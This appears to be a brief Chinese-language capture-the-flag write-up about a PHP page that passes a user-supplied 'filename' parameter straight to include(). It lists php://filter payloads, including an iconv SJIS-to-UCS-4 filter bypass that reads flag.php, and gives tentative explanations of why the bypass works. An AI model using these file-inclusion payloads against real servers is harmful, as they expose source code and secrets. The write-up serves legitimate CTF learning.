解析
<?php
highlight_file(__FILE__); // 高亮顯示當前PHP文件源代碼
include("./check.php"); // 包含檢查文件(可能包含安全過濾邏輯)if(isset($_GET['filename'])) { // 檢查是否傳入filename參數$filename = $_GET['filename']; // 獲取用戶傳入的文件名include($filename); // 直接包含該文件
}
?>
?filename=php://filter/convert.base64-encode/resource=./check.php,并沒有得到flag
嘗試繞過
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=index.php
php://filter是PHP的一種輸入/輸出流過濾器,用于對資源進行轉換操作。
convert.iconv.SJIS*.UCS - 4*表示使用iconv轉換,將編碼從SJIS相關編碼轉換為UCS - 4相關編碼。
resource=index.php表示要處理的資源是“index.php”文件
將惡意代碼用 SJIS 編碼后,再通過 convert.iconv 轉換為 UCS-4 編碼
*通配符可能繞過了過濾規則中對特定編碼格式的檢查
URL 中的雙斜杠 // 可能被某些解析器處理為單斜杠,繞過路徑檢查
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=./check.php但是并沒有得到flag
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=./flag.php得到flag